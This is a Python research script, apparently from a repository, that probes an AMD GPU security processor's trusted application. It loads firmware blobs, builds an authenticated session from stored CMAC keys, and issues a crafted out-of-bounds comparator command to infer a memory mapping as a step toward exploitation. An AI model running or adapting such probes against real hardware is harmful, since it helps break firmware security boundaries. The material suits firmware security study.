aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe0a_params_va_nonrop.py
blob: 151857b290c4c2db201c7f17200f4ec80986b6b7 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/env python3
"""One-shot NON-ROP FE0A mapping discriminator on the card.

No FE0A selector-4 chosen writes, no GCP pivot, no LSDMA/MP1-MMU writes.
An in-buffer diagnostic FE0A control first checks all gates; ONE subsequent
out-of-buffer comparator may fault if the params VA differs from BOTH bases.
Both FE0A paths may emit three ASD->SYS_DRV 0x1079 events to MP1 PMI3.
On ring timeout stop and recover with ATX.
"""
import ast
import glob
import hashlib
import json
import os
import struct
import sys

from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am

# Reuse ONLY the pure AES/CMAC definitions from the byte-identical older probe.
# Parse as DATA: never import or execute its top-level card-operation code.
HELPER = '/root/psp/hw/gcp_fe0a_sel8_probe.py'
EXPECTED_SHA256 = '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9'
src = open(HELPER, 'rb').read()
assert hashlib.sha256(src).hexdigest() == EXPECTED_SHA256
nodes = []
for node in ast.parse(src.decode()).body:
    if isinstance(node, ast.Assign) and len(node.targets) == 1 and isinstance(node.targets[0], ast.Name) and node.targets[0].id == 'SB':
        nodes.append(node)
    if isinstance(node, ast.FunctionDef) and node.name in ('xt', 'expand', 'enc', 'dbl', 'cmac'):
        nodes.append(node)
assert len(nodes) == 6 and {n.name for n in nodes if isinstance(n, ast.FunctionDef)} == {'xt','expand','enc','dbl','cmac'}
helper = {}
exec(compile(ast.fix_missing_locations(ast.Module(body=nodes, type_ignores=[])), HELPER, 'exec'), helper)
cmac = helper['cmac']
g = json.load(open('/root/psp/hw/fe08_good.json'))
ct, sk, seedoff = bytes.fromhex(g['ct']), bytes.fromhex(g['sk']), g['seedoff']
assert cmac(sk, bytes([1,0,0,0])+bytes(range(4,0x20))).hex() == g['mac']
print('CMAC self-test OK; key material not printed', flush=True)

BUFLEN, PAT = 0x40000, 0xA5
DISP, SEED = 0xFC3E0A60, 0x40000001
assert ((0x04024000 + 0x14 + DISP) & 0xffffffff) == 0x404A74
assert ((0x04035000 + 0x14 + DISP) & 0xffffffff) == 0x415A74

# One-shot guard against accidentally replaying this stateful test.
marker = '/root/psp/hw/.gcp_fe0a_params_va_nonrop.attempted'
fd = os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
os.close(fd)

adev = Device['AMD'].iface.dev_impl
psp = adev.psp

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

def submit(cmd):
    return psp._ring_submit(cmd)

def load(blob, which, app_pa, app_mc, cmd_mc, cmdlen):
    n = (len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:] = blob + b'\0'*(n-len(blob))
    adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=which)
    t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi = app_mc&0xffffffff,app_mc>>32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi = cmd_mc&0xffffffff,cmd_mc>>32
    t.cmd_buf_len = cmdlen
    r = submit(c)
    return r.resp.status&0xffffffff,r.resp.session_id

asd_app,asd_mc = alloc(0x80000)
asd_cmd,asd_cmd_mc = alloc(0x10000)
app,app_mc = alloc(0x80000)
cmd,cmd_mc = alloc(BUFLEN)
asd_blob = open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read()
gcp_blob = open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
a_status,_ = load(asd_blob, am.GFX_CMD_ID_LOAD_ASD, asd_app, asd_mc, asd_cmd_mc, 0x10000)
print('ASD load status=%#x'%a_status, flush=True)
assert a_status == 0
status,sid = load(gcp_blob, am.GFX_CMD_ID_LOAD_TA, app, app_mc, cmd_mc, BUFLEN)
print('GCP load status=%#x sid=%s'%(status,sid), flush=True)
assert status == 0 and sid

def build(op,handle,blob=None,seed=None,extra=None):
    b = bytearray([PAT])*BUFLEN
    struct.pack_into('<II',b,0,op,0)
    struct.pack_into('<I',b,0x10,handle)
    struct.pack_into('<I',b,0x414,0xfffffffb)
    struct.pack_into('<I',b,0x818,0x1000)
    if blob is not None: b[0x14:0x14+len(blob)] = blob
    if seed is not None:
        d = seed.to_bytes(4,'little') + bytes(range(4,0x20))
        b[0x14:0x24] = cmac(sk,d)
        b[0x24:0x24+len(d)] = d
        struct.pack_into('<I',b,0x414,0x10+len(d))
    for off,val in (extra or {}).items(): struct.pack_into('<I',b,off,val)
    return b

def invoke(op,b):
    adev.vram.view(cmd,BUFLEN)[:] = b
    adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    c.cmd.cmd_invoke_cmd.session_id = sid
    c.cmd.cmd_invoke_cmd.ta_cmd_id = op
    r = submit(c)
    adev.gmc.flush_hdp()
    data = bytes(adev.vram.view(cmd,0x1960)[:])
    return r.resp.status&0xffffffff,struct.unpack_from('<I',data,8)[0],data

def setup_handle():
    ring,ta,data = invoke(0xFE07,build(0xFE07,0))
    handle = struct.unpack_from('<I',data,0x1950)[0]
    print('FE07 ring=%#x ta=%#x handle_nonzero=%s'%(ring,ta,bool(handle)), flush=True)
    assert ring == ta == 0 and handle
    ring,ta,_ = invoke(0xFE08,build(0xFE08,handle,blob=ct))
    print('FE08 ring=%#x ta=%#x'%(ring,ta), flush=True)
    assert ring == ta == 0
    ring,ta,_ = invoke(0xFE09,build(0xFE09,handle,seed=SEED,
        extra={0x820:1, 0x828:0xE8, 0x82C:seedoff, 0x830:0}))
    print('FE09 ring=%#x ta=%#x'%(ring,ta), flush=True)
    assert ring == ta == 0
    return handle

def diagnostic_buf(handle,disp,local_word):
    b = build(0xFE0A,handle)
    struct.pack_into('<I',b,0x14,local_word)
    struct.pack_into('<I',b,0x414,0xffffffff) # REQUIRED by pre-comparator signed bound
    struct.pack_into('<I',b,0x820,11)          # diagnostic case; NO memcpy/selector-4
    struct.pack_into('<I',b,0x824,disp)
    struct.pack_into('<I',b,0x828,0)
    return b

finished = False
try:
    control_handle = setup_handle()
    print('in-buffer FE0A control, same huge declared length and selector',flush=True)
    cring,cta,_ = invoke(0xFE0A,diagnostic_buf(control_handle,0,0x60000000))
    print('control ring=%#x ta=%#x'%(cring,cta),flush=True)
    assert cring == 0 and cta == 0x241, 'gate control failed; no OOB comparator attempted'
    handle = setup_handle()  # new signed auth session; preserve prior control
    print('issuing ONE non-ROP OOB comparator; old-base=0x241 shifted-base=0x100; other=unknown',flush=True)
    ring,ta,_ = invoke(0xFE0A,diagnostic_buf(handle,DISP,0x11111111))
    finished = ring == 0
    print('comparator ring=%#x ta=%#x'%(ring,ta),flush=True)
    if ring == 0 and ta == 0x241:
        print('conditional old-base comparator ACCEPT; still not a live VA measurement',flush=True)
    elif ring == 0 and ta == 0x100:
        print('conditional shifted-base comparator REJECT (other target words can also reject)',flush=True)
    else:
        print('NON-DISCRIMINATING RESULT: do not assume either VA',flush=True)
finally:
    # Never stack more PSP commands on an exception or an unresponsive ring.
    try:
        if finished:
            u = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
            u.cmd.cmd_unload_ta.session_id = sid
            ru = submit(u)
            print('GCP unload ring=%#x'%(ru.resp.status&0xffffffff),flush=True)
    except Exception as exc:
        print('GCP unload unavailable; ATX recovery needed:',type(exc).__name__,flush=True)